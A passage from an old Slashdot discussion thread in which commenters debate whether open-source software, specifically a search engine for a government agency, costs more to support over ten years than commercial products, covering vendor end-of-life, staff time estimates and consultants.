    OSS_cost = Commercial_Software_cost - license_fees You need to differentiate license fees and supports fees. As with commercial product you will pay both license fees to use the product and additional support fees to solve problems that occur using the product. While using OSS you don't pay license fees but you will still pay for support. I think supports fees are comparable in both cases.

  34. Steps: by Anonymous Coward · · Score: 0

    1. FUD
    2. ???
    3. Profit!

  35. Consider adding Openchallenge to your toolbox by jukal · · Score: 2
    Naturally it all depends on what type of software you are looking for, but in case it is something that needs to be seriously tailored, maybe next the agency could consider having it created, instead of selecting it off the shelf and tailoring it. I mean, if - and as it seems - Openchallenge gets the train really going, it might provide some new possibilities for government agencies as well - combining resources to get the task done, under open source. This is what one EU commisioner had to say:

    I congratulate you with the practical and inspiring approach taken by OpenChallenge. It is interesting that this scheme both stimulates the release of open source software and is also operated by people within the open source community itself. Perhaps such a "challenge posting" scheme is also of interest for public authorities to promote open source development. -- Erkki Liikanen European Commissioner for Enterprise and Information Society.

  36. And commercial software support is good? by Tablizer · · Score: 1

    And, secondly, is anyone in the business of providing commercial support and training for the entire universe of Open Source

    Well, the support of many commercial titles is crappy. It would be hard to do worse in many cases. They only seem to be helpful if you are paying through the nose and have yet to renew.

    What I suggest is that popular OSS sites list people willing to provide support for moola for a given OSS app. That is not expensive to do.

  37. Comfort level of vendors by tsetem · · Score: 4, Insightful

    You briefly touched on this in your post, but what is the comfort level of the vendors you have found? What are the chances of them falling by the wayside, and being unable or unwilling to provide you with the support you may need. Are they large, and well-established companies, or are they smaller shops that may disappear if times remain tough?

    Have you also factored in support contracts, and that products purchased, may be EOL'd, and force upgrades to continue being supported. These forced upgrades could then have a trickle-down effect of increased license costs, licensing changes, and increased hardware costs (new servers).

    Not to sound to OSS Zealot-like, but by having the source code, you own it for the life of your project. With a third-party vendor, you are ate the mercy of the vendor's support staff, and development.

    I'd say take a closer look on support costs, licensing upgrades, and the products being EOL'd and forcing upgrades.

    1. Re:Comfort level of vendors by RembrandtX · · Score: 2

      I believe however .. that the author's point on this matter was that .. having the source code is moot - if you don't have staff skilled enough to do something with it. [Or possibly if your org doesnt have the resources to have enough staff on hand to allow them the time.]

      I fin, in my professional envoronment, one of the biggest corporate fears of open source, is just that. Companies [like mine, which makes power tools] want to do THEIR focus, not maintain someone else's code.

      When it comes down to it .. our company will hire 5 engineers to design next years product, before they will hire one part time IT person.

      While that doesnt make sence to you or me, [cant work on a broken infastructre] it makes a lot of sence to finance. 5 engineers can produce 5-10 products to sell in a 2-3 year time. Each of which is worth millions. A favorite IT argument is 'but can they design those tools without a working computer?' and the favorite responce is 'we have been around since 1916 - I think we can do it if we need to. Can you buy more computers if we don't sell any tools this year ?'

      [im paraphrasing of course]

      I can only imagine how it is in a .gov org .. where not only do they pay less, but have to justify their expenses to tax payers.

      So .. to end my long ramblings, I think the author mades a very 'real' point. Computer/development folks are not afraid of OSS. Honeslty we have all been using OSS since we went to college. Imagine if someone had patented the algorithm on bubble sort. But in a work environment, especially where they are short staffed - and can not allow people to specalize - OSS could wind up not being the best way to go.

      and *OH* how it hurts to say that.

      --

      --Ne auderis delere orbem rigidum meum, non erravi pernicose!
    2. Re:Comfort level of vendors by Jack+William+Bell · · Score: 2
      You briefly touched on this in your post, but what is the comfort level of the vendors you have found? What are the chances of them falling by the wayside, and being unable or unwilling to provide you with the support you may need. Are they large, and well-established companies, or are they smaller shops that may disappear if times remain tough?

      That was an issue. Basically one of the factors we applied to the first cut was (a) how long the vendor had been around and (b) how long they had owned/supported the product. Note that many software products get sold to different companies over their lifetimes, so we really weren't interested in something that had the 'owner of the month'. Same with the Open Source products we looked at, only the ones that had been around for a while were given serious attention.

      Have you also factored in support contracts, and that products purchased, may be EOL'd, and force upgrades to continue being supported. These forced upgrades could then have a trickle-down effect of increased license costs, licensing changes, and increased hardware costs (new servers).

      Definately an issue and one that was discussed. The problem is that all of this is so speculative. We couldn't put even an honest estimated number to EOL/forced upgrade issues. Do you know of any studies that provide a 'figure' for this that I could plug into a project and back up with hard facts?

      Not to sound to OSS Zealot-like, but by having the source code, you own it for the life of your project. With a third-party vendor, you are ate the mercy of the vendor's support staff, and development.

      Certainly. But remember, my customers don't want to support this software themselves. And, if they have to, they want to know what it costs. I took a SWAG at it and came up with 1/10 FTE, and plugged that into the projections with the results I reported. Your mileage my vary.

      Jack William Bell
      --
      - -
      Are you an SF Fan? Are you a Tru-Fan?
    3. Re:Comfort level of vendors by Boulder+Geek · · Score: 2
      Have you also factored in support contracts, and that products purchased, may be EOL'd, and force upgrades to continue being supported. These forced upgrades could then have a trickle-down effect of increased license costs, licensing changes, and increased hardware costs (new servers).
      Definately an issue and one that was discussed. The problem is that all of this is so speculative. We couldn't put even an honest estimated number to EOL/forced upgrade issues. Do you know of any studies that provide a 'figure' for this that I could plug into a project and back up with hard facts?
      My experience after 16+ years in the industry is that you can count on only three years of active support. After that the product will be EOL'd, and you will have to pay T&M for any support, contract or no contract. In fact, I seriously doubt that any software vendor can write a 10 year support contract in good faith. Data point: In no company that I have ever worked for has a product that was more than 5 years old been on active support.

      Furthermore, the quality of that support will decline over time. The people who actually wrote the code will have moved on to other projects, and will be subject to internal bickering/tug-o-wars in terms of looking at any bug fixes. If they are even still at the company. If the company still exists. I have seen this happen on products that were only 2 years old. I hate to imagine the situation at age 10.

      My own preference would be to have a contractor design and deploy the (open source) system with complete documentation as to exactly the steps taken . Test thoroughly. And when something breaks, bring in the original contractor to fix it on a T&M basis. In the long term this is likely to be much cheaper than a 10 year support contract which will be worthless in three years.

      --
      A well-crafted lie appears unquestionable - Dama Mahaleo
    4. Re:Comfort level of vendors by Jack+William+Bell · · Score: 2
      My experience after 16+ years in the industry is that you can count on only three years of active support. After that the product will be EOL'd, and you will have to pay T&M for any support, contract or no contract.

      Which agrees with my experience as well. But this is anecdotal (and the very reason why I did a quickie 'lifetime cost' comparison instead of doing a full TCO). In most cases lifetime costs match very easily against each other, and TCO never matches realisty anyway.


      Another point is that I asked the commercial vendors for yearly license costs, in other words -- what does it cost to get automatic upgrades. So those costs were included in the lifetime costs when I had them and they do answer some of these questions. Remember, we are talking a vertical market application here. Most vendors of such are used to customers who want some assurance their long-term costs will be controlled and known in advance.


      Jack William Bell
      --
      - -
      Are you an SF Fan? Are you a Tru-Fan?
    5. Re:Comfort level of vendors by brokeninside · · Score: 1
      So what you are saying is that:

      n * ( upgrade costs + support costs)


      Approaches:
      n * 0.1 * FTE


      as n grows toward 7 and 8 and the second formula solve to a higher value than the first at n = 9 or 10.

      And this is in a vertical market? This may very well be the case. But I have trouble believing that this is anything but an exceptional situation.

      Also, the question comes up as to whether the vendors are willing to lock-in to their quote prices for n number of years. If the highest n the vendors are willing to lock into is lower than the point at which the second formula exceeds the first, then it is unknown as to which TCO is higher until n + m years pass where m is the difference between n and the point where the cost of the TCO of the open source solution surpasses the TCO of the closed source solution.

    6. Re:Comfort level of vendors by walt-sjc · · Score: 2

      I can only imagine how it is in a .gov org .. where not only do they pay less, but have to justify their expenses to tax payers.

      Um, since WHEN do they have to justify their expenses? The only time this happens is when there are whistleblowers / $900 toilet seats.

      Seriously, 90% of our government is waste. Year after year, projects / organizations get re-funded because they were funded last year. Every year they claim they need more money.

  38. Perfect example. by Anonymous Coward · · Score: 0

    Perfect example as to why open source is cheaper!

  39. Try getting support from commercial vendors! by teamhasnoi · · Score: 4, Informative
    We use SCO Unix at my work - The company who sold this system to us back in 95? has now moved to Windows. No more support, paid or otherwise.

    Our FEDEX machine is Windows NT; support for that consists of some phone tech reading (haltingly) from a flow chart.

    Our office PC runs Windows 98, unsupported by MS. We have two Macs, one a clone running OS 9.2 (unsupported), and the other running 10.1 (Apple has moved on to 10.2.)

    At home, I'm using BeOS (unsupported - Be is dead, soon to be supported open-source style!) and some other unsupported Windows configs.

    Security and bug patches for windows 95/98? New SPs for Win 2000? Nope.

    What was the question again?

    1. Re:Try getting support from commercial vendors! by Anonymous Coward · · Score: 0

      Uh huh and where are any of your mickey mouse desktop systems listed in this article. There is an enormous amount of closed source, commercial software out there that runs for decades untouched. Look at the massive install base of VAX servers out there that have been obsolete for 15 years. Most of them are running the same apps that were installed with the system.

      A real life example are the inventory systems used by most companies. Tons of these are still running VMS apps from the mid-80s. If they stop working for a day it can cost millions. You can be certain that there are support contracts in place for those things.

  40. Support by Anonymous Coward · · Score: 0

    I have never 'paid' for linux support, its easy to use out of the box, and the manuals are getting better all the time, they say RTFM for a reason. There are just some unscruplious people out there trying to get money from dumb people.

  41. Dumb question by Anonymous Coward · · Score: 1, Interesting

    You seem to have failed to mention how you are being *assured* that company selected will be in business 10 years from now. You mention it as an important requirement but don't say how you satisified it.

    In this economy, odds are good any company you pick is going to be tits-up 10 years from now. If keeping a dinosaur alive the next 10-20 years really is important to you, then you had better have written into your service agreement that if the company goes belly up OR if the version of the product you are using is dropped, then you get the product and source code free.

    If your PHB are banking on the myth that buying a big-name product from a big-name company gives them security, they are idiots.

  42. Faulty Logic by Tony · · Score: 5, Insightful

    First, this sounds like a turnkey system, once installed. Your estimate of 1/10th of an fte seems a little high; once installed, the search engine shouldn't take 45 minutes a day to maintain.

    But, in any case, if they have an employee who can shoulder the burden of maintaining this product without adversely impacting that employee's performance, then internal support costs nothing at all. Plus, there are very few commercial products that are guaranteed support for even a few years, let alone 10. Sure, support this year is available at a reasonable cost; but there's a good possibility any random company will go out of business within the next ten years, or they may drop support for that product.

    With open/free software, you have the chance to maintain the product yourself, long after the original producer has dropped support.

    --
    Microsoft is to software what Budweiser is to beer.
    1. Re:Faulty Logic by kbielefe · · Score: 3, Insightful
      I completely agree. Your 1/10th estimate seems to be appropriate for continuously upgrading the software rather than merely supporting it. Are upgrades included in your commercial estimates or are you planning for those to be included as part of "support"? I didn't notice any distinction made in the original post.

      Also, you are going to need someone at your site supporting the software anyway. You can't just call commercial support, leave a message that it's broke, and have it be magically fixed the next day. You have to call the support line, explain the problem, go through troubleshooting with a technician who didn't actually write the software, and then apply the fix or wait for an upgrade and install it.

      It may take a little time at first for a staff member to become familiar with an open source project, but he will then be able to fix the problem in as much time or less than he will spend on the phone.

      I don't actively contribute code to any open source projects, but I once found a bug in some open source software I was using. I had never looked at the source before but was able to verify that it wasn't a known issue, find the bug, fix it, test it, and send a patch to the maintainer in about an hour. You wouldn't believe how grateful that guy sounded to get a patch instead of a complaint from a user. I'm sure he would have been helpful if I had further questions. If it had been a commercial product I would have spent that hour on the phone, only to be told that it would be fixed in the next service pack.

      Bottom line is, don't overestimate what you actually get when you pay for "support".

      --
      This space intentionally left blank.
  43. Economy of Scale: Support by buttahead · · Score: 3, Informative

    There is an economy of scales working here.

    Where support costs on OSS really make sense is in a company where there is one geek that can manage several OSS products. If this fella is getting paid 80,000 per year and he can support many OSS products, your cost of support decreases. As he supports more products the cost per product drops.

    On the other hand, in your case, there is one product that must be supported, and one person supporting it -- or there is only outside support. In your case, OSS software probably is more expensive than a supported, probably more intuitive product.

    1. Re:Economy of Scale: Support by marauder404 · · Score: 2

      That's always the case. Hire one MCSE, and he's got lots of things covered: maintain all the Windows 2000 servers and all their associated services (IIS, Active Directory, DNS, DHCP, routing, etc.). In addition, it requires some programming knowledge, so good knowledge of either VB or VC++ and now C#, so there's room to develop desktop applications, server applications, web applications, and maintenance scripts. And then there's the lots of ancilliary knowledge that he may have picked up along the way, like SQL Server, Exchange, etc. Economies of scale is always of benefit.

  44. And what happens when... by Anonymous Coward · · Score: 3, Insightful

    the product you've purchased is no longer supported by the company that created it? Companies come and go, so do software products. I would imagine that you'd be in the same boat regarding support in a couple of years OSS or not. Look at windows 3.1, you think you're going to get usefull support from M$? If you need a timely solution you'll have to track down some expert close to you anyways. And considering how much more OSS uses open standards, finding a usefull 'expert' even in a few years after deployment should be alot easier then trying to deal with the support you'll get from software vendors.

  45. What does 'support' really mean? by cmeans · · Score: 5, Insightful
    My problem is with the word 'support'. The author seems to realize that 'support' can mean different things, and isn't necessarily going to solve the problem the client is having.

    Too many times we've paid for support from a vendor, only to discover that the problem(s) we've encountered are beyond their ability/desire to resolve...and we've been stuck with a useless product...

    At least if the product was OpenSourced we'd have the option of subcontracting the fix to a thirdparty rather than having to dump it and find something else.

    24x7 Tech Support just means they'll answer your call...not that they'll fix the problem.

    Just my 0.02c

    1. Re:What does 'support' really mean? by NMerriam · · Score: 2

      At least if the product was OpenSourced we'd have the option of subcontracting the fix to a thirdparty rather than having to dump it and find something else.

      This is the key point missing from the TCO question. If you can, in fact, GUARANTEE that for ten years, your every question and problem will be solved by the vendor for the cost you are quoted, well then go ahead and use the commercial product -- why not?

      If you can't get a guarantee from the vendor that every problem will be solved, that there will be a huge financial penalty for early termination of the support contract, and that you will have access to the code at no cost should they go bankrupt or discontinue the product, then you have a different problem than TCO.

      Microsoft is a big company, they haven't gone bankrupt or stopped making software -- but I doubt many companies support needs are handled entirely by support contracts they bought from MS back in 1992.

      And what happens in ten years, when the support contract is no longer profitable, maybe the company is still around, but just resentful of having the legacy albatross on their back? Then the agency will have NO CHOICE but to upgrade the tool, change to something else, or support a closed-source tool 100% by themselves.

      Government systems almost ALWAYS last longer than projected -- and if it is working, why change? The cost to hire some retired programmer in 2012 to support that ancient open-source tool will be miniscule compared to the cost of needlessly changing systems because the agency no longer fits some other company's profit projections.

      --
      Recursive: Adj. See Recursive.
    2. Re:What does 'support' really mean? by Thanatopsis · · Score: 1
      Indeed this highlights a very common problem when purchasing closed source software. There is simply no way to effectively judge costs ten years out. Unless the vendor you are selecting has at least a twenty year operating history in the market (For search the only vendors even close to this are Oracle and Thunderstone.) So support costs from a company with a four year operating history are largely meaningless when taken in a ten year context.


      Did you get a source code escrow agreement with the closed source vendors? Generally these agreements are for when companies go belly up. Source code escrow agreements also cost more than traditional vendor support. The only way to compare apples to apples is to ask each vendor to supply one.


      Most support agreements must continuously in force along with having the current version of the application. With an open source application support can be ad hoc, when needed. If the application is properly vetted and tested before going live, why do you need support? If you build an open source ap - you had better build unit tests that make sure the application and its various APIS work will. With a closed source application you generally don't have a set of unit tests (Just stick the disk in and press "Go"), so you have no way of knowing if the application is performing to specifications after the upgrade other than the "Well it seems to be working test." I would suggest you check your methodology for costs and simply out-source application support to professional services house. There is no need to support the application internally when you can easily have professional services firm in India support it. On the other hand you can always buy IBM - They will provide support forever for enough money!

    3. Re:What does 'support' really mean? by Quickening · · Score: 1
      I think you've nailed what the poster's main problem is: ambiguous support. I've been a professional IS person 23 years now, and have come to the overwhelming truth that commercial "support" is a joke. Open Source plainly provides a vastly broader array of choices in fitting solutions to technical problems, and if one software solution doesn't work you are free to change it or find another, without the lock-in of expensive, proprietary, strait-jacket commercial solutions.

      Just one example: my company picked the usual expensive proprietary data conversion software for 1 function (hundreds of thousands of dollars) where every modification was a minimum 2 months/$15000. In 2 weeks I had duplicated the entire process in perl, and the same kind of changes took about 2 minutes (all free marginal cost)

      It is really hard not to be outraged by even the poster's suggestion that support costs are comparable, as every day for years I have seen how much better and cheaper open source solutions would be.

      --
      tcboo
  46. Rude! by Spamhead · · Score: 1


    in one case the response was downright rude (basically a variation on RTFM)

    I didn't know that Richard Stallman had written a search engine? Damn, has emacs gotten that bloated?

    --
    Everybody Wang-Chung tonight!
    1. Re:Rude! by OneEyedApe · · Score: 1

      RTFM means Read The "Fine" Manual (the "F" may mean something else in some cases). RMS is an abbreviation commonly used to refer to Mr. Stallman.

      --
      Life sucks, but death doesn't put out at all....
      --Thomas J. Kopp
    2. Re:Rude! by Anonymous Coward · · Score: 0

      Rude, Mean, Square?

      Sorry, couldn't resist..!

  47. Impossible to support everything by matts.nu · · Score: 1

    The reason that no single company offers support for every piece of open source software in existence is because it's impossible. Just as nobody supports all commercial software. You just can't learn everything. And most open source software sucks (!), so most of your learning would be a waste of time.

    If you want to make money in this business then you should focus on the quality OS software, like Linux, Bind, Sendmail, Apache. There's 99% of your market, right there.

  48. Finding Good OSS support by TrebleJunkie · · Score: 3, Interesting

    I think it is possible to find good open-source support, cheaply or freely.

    The hardest part, usually, is finding a source that 1) gives quality support, and 2) is not comprised of contributors who like to treat newbies like idiots.

    For just about any good OSS project, there are good FAQs, How-to's, Forums, and Mailing lists to help answer your questions. I few I can think of off the top of my head are projects like PHP, Apache, LEAF/LRP.. the list goes on. Usually, the closer you are to the source of the project, the better luck you will have and the nicer people you'll have to deal with. The more removed your source of support (133+ script kiddies! yo!) the more of a chance you are of being belittled by kids who can't even drive yet.

    I've also found that dealing with companies who offer commercial solutions built on top of OSS projects -- (Ciphertrust's IronMail, for instance) tend to be very knowledgable and helpful, granted for a price. But, the support is out there. Good support is out there. And for little or no more than you'd pay to Intel, IBM, MicroSatan, or any other vendor...

    --

    Ed R.Zahurak

    You know, oblivion keeps looking better every day.

  49. And what does this have to do with open source? by Violet+Null · · Score: 2

    The point of the submitter's comments was that the products with a support structure in place were less expensive than products without a support structure in place (that would require someone on staff to do support). Whether any of the projects involved (on either side) were open source or not doesn't factor into the equation -- it would've been just as likely that they could've gotten the author (or team) of one of the open source projects to charge for support as to blow them off, and if that happened, there'd be no article, would there?

    In other words: SHBT. SHL. HAND.

  50. if support is not available, you can't get it by Dr.+Awktagon · · Score: 2

    But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.

    Sounds to me like this just is not a supported product. You can't can get support if it isn't there.. Open Source doesn't mean every product is magically supported by some roving group of expert consultants. If you have to choose between closed-source lock-in and nothing, well, I'd have to go with the lock-in.

    Of course, an open-source consulting company might pop up in the next couple of years that does exactly what you want for 1/10 the price and gives you freedom, but since you went with the closed-source solution, you're stuck.

    I've found that Open Source is usually cheaper because you have the flexibility to choose how you want to do things. Stick with your old hardware, upgrade, pay a consultant for a one-time job, do it yourself, etc.

  51. Let me guess... by tmark · · Score: 3, Funny

    ...since you posted a (well-articuled, at that) argument that OSS might not always be the cat's pyjamas, I'm willing to wager you're new here ?

  52. Hire help by agriffiths · · Score: 1

    It doesn't seem feasible to have a FTE deal with support for a tool that is an integral part of the organization's environment. Not only is it a waste of the FTE's time, if that person were to leave the organization would have to find a replacement that was already up to speed with the tool.

    A better solution would be to use consultants like you (and me.) When I bid on a project I include provisions to support the project for some length of time, this is particularly important when the project includes open source tools. Once the support period ends a client can still contact me for additional support, either on an hourly basis or by negotiating for support through a monthly contract. A decent consultant should be able to support many different organizations and open source tools; when I need to update Apache for my clients I don't download and build a copy at each client's site, I get one copy, build it and then distribute it to the clients. This way the time (and cost) per client is quite low, it's much more efficient than having an FTE monitor a list and install every patch themselves.

    A consultant who's familiar with how open source works and is reasonably organized can learn about a new tool and very quickly be able to support that tool. Of-course if the organization requires a great deal of customization the cost can be quite high, but if all that's required is an occasional security patch and relatively minor configuaration change then a decent consultant should be able to do that for less than $8,000 a year.

    --alex

  53. Hire the programmer. by Anonymous Coward · · Score: 0

    If you're using an Open Source tool and want certain features, why not pay the programmer to customise his tool to your taste?

  54. your assumptions are worng and misguided by linuxislandsucks · · Score: 1

    Question jow many current IT people in your staff grduated with CS degrees of your current IT staff total..my bet its ()% or higher..

    You could support the opne source software you use with your own staff no need ofr outside high consultant fess did you even look at that possiblity?

    Opensource is opne for a reason! To make it easy to change or update code to ad dnew functionality with current staff without having to go outside for long term full-time support..

    It snot always the case but in your case you need to look at this option rather than make some embarrsing wonrg assumptions..

    --
    Don't Tread on OpenSource
  55. my take... by Anonymous Coward · · Score: 0

    I've been using free software for 12 years. The most I've ever spent for said software (combined) was about $200 for cds and floppies. So, yeah, it's really fuckin' expensive in the long run.

  56. Re:Thank you by Anonymous Coward · · Score: 0

    Being a 12mo Linux newbie I was only trying my best to be correct. This is the first time I have read a position statement from this view. Very interesting, I will investigate and adjust accordingly.

  57. Thoughts --- by Anonymous Coward · · Score: 0

    did you announce that you were willing to pay with the question of support for the product?

    One thought on Open Source is that if someone develops a piece of code - and they offer technical support for that code @ 5000 a year. 10 customers and you'll hit 50,000 a year. (20 customer == 100,000 a year, etc).

    Asking politely on the mailing list - and it's likely someone will jump onto that bandwagon.

  58. Different estimation by adamy · · Score: 3, Insightful

    I think 10% of a FTE at 80K /Year * 10 Years is an over estimate.

    Try this instead
    Learn the product comletely. 1 FTE * 2 Weeks 2 weeks = 2/50 (roughly) so 80K/25 or 3.2K one time. Ignore installation customization, since you will have to do that for any product. Assume four major crisis the first year where that person spends 2-3 days dealing. 80 hours / 2000 (roughly 2000 working hours per year) or 4% again of 80K $3200. Subtract from that the time this same person would spend on the phone with the support staff, etc etc and I think I'd be willing to shave that estimate down by a day at least, so say $3000. So your up front costs are 6 Grand. Assuming that crisis moving forward are less frequent, say one weeks worth a year, your year total will be $1500. So you are looking at a total cost under 20,000. or 2000 year

    --
    Open Source Identity Management: FreeIPA.org
  59. Maybe for now... by imsirovic5 · · Score: 1

    Maybe for now the support for open source software might be more expensive than commercial.. However as more businesses switch to open source the market for open source support will increase and refine as the greater number of companies start specializing in open source support.. With greater number of companies specializing in open source support the "lifetime" cost of open source support should decrease due to competition and greater numbers of companies offering open source support. Basically the more the open source grows the more attention will it attract in terms of suport.. More and more companies will jump into the open source support market and as that happens prices will go lower if my memory of Economics serves me right..

  60. Re:Biggest problem with commercial use of open sou by WatertonMan · · Score: 2
    This certainly is a big carrot to hold over developers. However if the Open Source project is such that only a few developers are working on it I think that they might very well take money to add features.

    Once again it really depends upon what Open Source product you are talking about. Some are only half-maintained and you'd likely be an idiot to use them. You might be half-way through your development, find a serious bug and have no recourse. With a commercial app you've signed a contract with they'll typically help you a great deal. Some Open Source projects as well. Others. . .

    I think part of the problem is that most people hear Open Source and think Apache or the like. Yet those are but a small segment of the overall Open Source movement.

    As many others have said, deciding on software really depends upon the individual product and (to be fair) your development staff.

  61. "Might" ne "Right" by Jahf · · Score: 2
    There might be a viable business model here!
    Ahhhh "might" ... the rallying cry of every dot-com that didn't make it (and a few who did).
    --
    It is more productive to voice thoughtful opinions (reply) than to judge (moderate) others.
  62. You've done the right thing by Outland+Traveller · · Score: 1

    As another poster has already stated, you've done the right thing. Given the customer's requirements it looks like buying an off-the-shelf solution is the way to go.

    Open source can be a win for some situations, such as when you want to do heavy integration, when your administrators are comfortable maintaining the app, when the application is easy enough to deal with that you don't need signficiant support, etc.

    It's not the right choice in every scenario. You shouldn't sell a do-it-yourself kit to someone who wants a polished, fire-and-forget solution.

  63. Mistake... by Polo · · Score: 3, Insightful

    I think you're being a little simplistic figuring out the support costs.

    You're figuring on 1/10 of a full-time engineer to support the search engine. Do you think that with a commercial product that you can devote NO engineers? Even with a commercial product somebody has to keep tabs on things. Even when you buy support, the support engineers don't typically call you and remind you of bugs or do any of the work.

    You'll need to dedicate time to the product regardless, and in some cases more time to commercial products.

  64. Why would you need support 8 years from now? by PetiePooo · · Score: 2, Insightful

    Its good to see someone doing a complete cost analysis, but I have a question. Why would you need to have someone lurking in the boards for the next eight years?

    I can see being heavily involved on the boards during development. I can see it too if you're doing a feature upgrade that involves upgrading the engine or using new capabilities of it. However, if they're really currently running a system that's a generation old, I'm guessing that that system is rather poorly suupported today. I'm also guessing that it doesn't need much support.. development ended several years ago. Maintenance support is much less than integration and first deployment.

    At some point, all products reach end-of-life and require personalized support. Fortunately, by the time that happens, the products that use them have been deployed so long that they're either replaced or the customers have been happy with the stability and feature-level and don't want to touch it. There are still some holdouts that are sticking with their favorite 24x80 text editor on DOS simply because, "It ain't broke!"

    Instead of $8000/yr for the next eight years, I'd use a logarithmic scale that tapers down rapidly as the bugs are hammered out in the version you're using and active development shifts on to the newer versions. There will simply be less and less things for your support engineer to watch the boards for.

  65. A view from the inside by qodfathr · · Score: 1

    I recently departed a high-level position at a commerical search software company. I can tell you that it was not very common for OSS search engines to be part of the final round of competitors, and, when OOS did make it into the (say) top-3, it RARELY won. In fact, I can only recall one time that OSS "won" the deal, and this was with a company with a legion of developers sitting in Israel just looking for something to do at dirt-cheap prices.

    No one should take this as an attack on OSS in general -- the posting was specifically about search engines, and I'm replying with specific knowledge in that space.

    At while I use my "free time" to work on my next great application, I have been actively consulting to people deploying search solutions, both commerical and OSS. So, yes, there are people out their supporting OSS on a contractual basis (duh), but specifically 'yes' with respect to search engines.

    --
    Yes, it's true. This man has no dick.
  66. Open Source Support by llywrch · · Score: 3, Insightful

    `` For the commercial products the vendors could supply us with support costs, often broken down in such a way we could choose our support like a Chinese menu. But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list."

    Hmm. I guess someone is either making a lotta of money in this down economy (& doesn't know anyone scrounging for work), or is still in high school & has never wanted for toys.

    I'd suggest that you try a few mailing lists or look at a couple of websites. There are lots of folks out there who are both skilled & looking for work, & who would be more than happy to offer you a quote.

    ``So I had to figure in the cost of one of my customer's IT staff staying active on that list and learning enough about the product to provide in-house support supplemented by the email list. Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. This was nearly three times the cost of the most expensive commercial product support!"

    Well, figure again that if you have any kind of enterprise-level software running, someone will have to spend some time monitoring the relevant mailling lists, periodically checking web sites for patches, et cetera. 0.1 FTE works out to being 4 hours a week . . . which seems to me twice as long as it would need. But whether you buy something from Microsoft, Oracle, Sun or download & install an Open Source solution, this constant amount of research needs to be done.

    Expecting the support arm of any company to do all of this is foolish. While they will have access to resources you won't have (defect databases, source code), from my experience unless you pay a lot more than $8,000/year the support you'll get from them won't be much better -- & may be worse -- than what you get from the mailling list run by the users.

    And if you pay a consultant with the expectation that she/he will do all of this & none of your staff, all you are doing is allowing someone to acquire job security at your expense.

    You're going to have to allocate the FTE for maintaining this project no matter which way you go. And you'll have to convince your bosses of this fact.

    Geoff

    --
    I think I see a trend here. Maybe for them it really would be easier to muzzle the entire internet than to produce p
  67. You fogot something. by demigod · · Score: 1
    Either way you go, you better have someone in your shop who understands the software and how it's setup. Upgrades will happen, someone will have to perform them and lean enough of the new version to admin it.

    You've already paid for this in the open source case.

    --
    "The last thing I want to do is deal with a bunch of people who want something."
    Major Major
  68. You missed the point by ACNeal · · Score: 3, Insightful

    In the long run, you can't buy support from a company that doesn't exist.

    If you read his essay, he already concedes that projects like Linux are exempt, because you can buy support from someone like Red Hat.

    He is talking about the more userland side of things that tend not to have companies behind them.

    Sure you can say RTFS, but that is why the support costs are high, you have to hire a consultant or a full time programmer to RTFS of each new project you use. He takes time to read the source, then debug the source, instead of calling a company for an update that exists because several customers have already had the same complaint.

    1. Re:You missed the point by kiltedtaco · · Score: 1

      He takes time to read the source, then debug the source, instead of calling a company for an update that exists because several customers have already had the same complaint.

      He just has to go to the project's website and get the patch, because several users have already had the same complaint and one of them fixed it themself.

      Closed source software responds better to the market that free software? yeah right.

    2. Re:You missed the point by Anonymous Coward · · Score: 0

      And that works perfectly in his environment because it is exactly the same as the first guys!!

      ...sarcasmoff...

    3. Re:You missed the point by dementis_canis · · Score: 1

      You are right, you can't buy support from a company that doesn't exist, however, you also can't receive commercial support from a company that doesn't exist anymore.
      Remember that this support is required for 10 years.

      I think that the odds are greater that community support will still be available in 8-10 years time.

      --
      rhubarb, rhubarb, rhubarb...
    4. Re:You missed the point by Anonymous Coward · · Score: 0

      If this guy is willing to pay, IBM will support anything.

  69. The same cost is there for supported products by dancomfort · · Score: 1

    The $8000 is a red herring, because the cost (I agree is should be much less) will still be there for products with support contracts. Someone still needs to monitor the mail groups (if only for "DONT'T APPLY THAT SERVICE PACK! IT ATE MY HARD DRIVE!" warnings), still needs to apply patches, etc. So using this model, if you assume $8000 in staff time for open source products, assume $6500 + support feee for commercial products.

  70. an apt analogy by Anonymous Coward · · Score: 0

    first of all, none of those companies will be around in 10 years to support their search engine. Unless it's IBM. But they're not going to support it. In 5 years or so they'll offer you a sum to buy back the contract. It's more likely you'll be able to contract with an open source developer and he'll be around in ten years. If paying your own employees as maintainers isn't an option because of turnover, then it's ridiculous to base the open source cost on the price of hiring full time employees.

    and second, you did get one point right. Choosing your support from a commercial vendor will be very much like picking something from a Chinese menu. You have no idea what you're getting, but chances are that whatever it is, it will look and taste pretty much the same, and leave you wanting more.

  71. Two points by KyleCordes · · Score: 3, Interesting

    1) If you are looking for commercial suppose for an open source product, why would you choose one where it's not available? That seems pretty silly, as does the related point in the original posting.

    2) 10 Years is a long time in the software business. What are the chances that the product will exist in something resembling its current form in 10 years? Obviously there is some software that has a very long life, but the great majority of it does not. Assuming the commercial vendor still exists in 10 years and hasn't merged / split / dropped the product, will they still have anyone working there to support the very old software?

  72. Support costs by Anonymous Coward · · Score: 0

    I guess for me, it boils down to how stable the product is. Yes, we have commercial software (can you say win2k? office2k? a commercial web-based 'timecard' app?

    Ok... in reference to some of the above:

    Win2k -- we started putting users on an old server we built out for file storage (dual P3/450's) and suddenly win2k would hang up the CIFS shares, blue screen, etc... ... so we browsed support.microsoft, found a bunch of 'Q' articles that had suggestions... mostly registry tweaks. We have a corporate contract with microsoft "Premier" support, called them ($800 per incident or something obscene), and after 1/2 an hour of trying to describe the problem he asks "did you read Q-article Q294357 (or whatever it was)"... yup. "what about Q-article Q299332??".. yup. Basically, they had us apply the registry patches from the Q-article. Other than that, they were pretty much useless... $800 for them to look at the same Q-articles we looked at.

    The web timecard app -- ok, $170K of software, chosen by management types, not use IT folks, of course... "it has the reporting we want". The server has had continual problems. Even though it was pitched to us as working fine with oracle, which we already run, suddenly they tell us it doesn't like SQLNET. We need MDAC. And we find out that most of their customers seem to run SQLServer. Meanwhile, its eaten up literally *months* of IT support time getting it to the point where it only dies every couple of days. Are we really just helping them debug their product? Oh... and the guy who was doing the database tables when it was initially setup used the manual from Sept. 10th... oh, no, you need the manual from Sept. 19th...its got the right info.

